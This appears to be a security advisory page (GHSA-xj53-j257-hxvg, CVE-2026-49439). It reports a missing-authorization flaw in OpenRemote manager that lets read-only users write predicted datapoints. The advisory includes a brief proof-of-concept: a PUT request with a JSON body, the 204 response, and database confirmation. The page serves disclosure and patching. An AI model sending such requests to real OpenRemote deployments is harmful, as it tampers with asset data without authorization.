GHSA-XJ53-J257-HXVG中危已审查

OpenRemote read-only asset users can write predicted datapoints

OSV 1.4.0 · github-reviewed · 修改于 2026-07-07 00:52

发布时间

2026-07-07 00:52

GitHub 审查时间

2026-07-07 00:52

NVD 发布时间

—

源文件

advisories/github-reviewed/2026/07/GHSA-xj53-j257-hxvg/GHSA-xj53-j257-hxvg.json

公告说明

Summary

The predicted datapoint write endpoint allows users with only read:assets privileges to write predicted datapoints.

The endpoint:

PUT /api/{realm}/asset/predicted/{assetId}/{attributeName}

accepts write requests from users lacking write:assets.

The implementation appears to check READ_ASSETS while performing a write operation through:

assetPredictedDatapointService.updateValues(...)

PoC

A user was created with only:

read:assets

and without write:assets.

The following request succeeded:

PUT /api/master/asset/predicted/4Fr8Pcp7iDjrEmoSUFolvT/temperature

Request body:

[{"x":1779199999001,"y":1337}]

Response:

HTTP/2 204

Database verification confirmed the datapoint was written successfully:

entity_id: 4Fr8Pcp7iDjrEmoSUFolvT
attribute_name: temperature
value: 1337

Impact

Users with read-only asset permissions can modify predicted datapoints for assets.

受影响的软件包

标识信息

别名 / CVE

CVE-2026-49439

CWE

CWE-862

软件生态

Maven

扩展资料

暂无扩展资料。

CVSS 评分

CVSS_V3

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

原始 OSV JSON

{
  "id": "GHSA-xj53-j257-hxvg",
  "aliases": [
    "CVE-2026-49439"
  ],
  "details": "# Summary\n\nThe predicted datapoint write endpoint allows users with only `read:assets` privileges to write predicted datapoints.\n\nThe endpoint:\n\n```text\nPUT /api/{realm}/asset/predicted/{assetId}/{attributeName}\n```\n\naccepts write requests from users lacking `write:assets`.\n\nThe implementation appears to check `READ_ASSETS` while performing a write operation through:\n\n```java\nassetPredictedDatapointService.updateValues(...)\n```\n\n# PoC\n\nA user was created with only:\n\n```text\nread:assets\n```\n\nand without `write:assets`.\n\nThe following request succeeded:\n\n```http\nPUT /api/master/asset/predicted/4Fr8Pcp7iDjrEmoSUFolvT/temperature\n```\n\nRequest body:\n\n```json\n[{\"x\":1779199999001,\"y\":1337}]\n```\n\nResponse:\n\n```text\nHTTP/2 204\n```\n\nDatabase verification confirmed the datapoint was written successfully:\n\n```text\nentity_id: 4Fr8Pcp7iDjrEmoSUFolvT\nattribute_name: temperature\nvalue: 1337\n```\n\n# Impact\n\nUsers with read-only asset permissions can modify predicted datapoints for assets.",
  "summary": "OpenRemote read-only asset users can write predicted datapoints",
  "affected": [
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.24.1"
            }
          ]
        }
      ],
      "package": {
        "name": "io.openremote:openremote-manager",
        "ecosystem": "Maven"
      }
    }
  ],
  "modified": "2026-07-06T16:52:35Z",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"
    }
  ],
  "published": "2026-07-06T16:52:35Z",
  "references": [
    {
      "url": "https://github.com/openremote/openremote/security/advisories/GHSA-xj53-j257-hxvg",
      "type": "WEB"
    },
    {
      "url": "https://github.com/openremote/openremote/commit/583dbbfb96076ba099be8729ddf506acf9e48325",
      "type": "WEB"
    },
    {
      "url": "https://github.com/openremote/openremote",
      "type": "PACKAGE"
    }
  ],
  "schema_version": "1.4.0",
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "nvd_published_at": null,
    "github_reviewed_at": "2026-07-06T16:52:35Z"
  }
}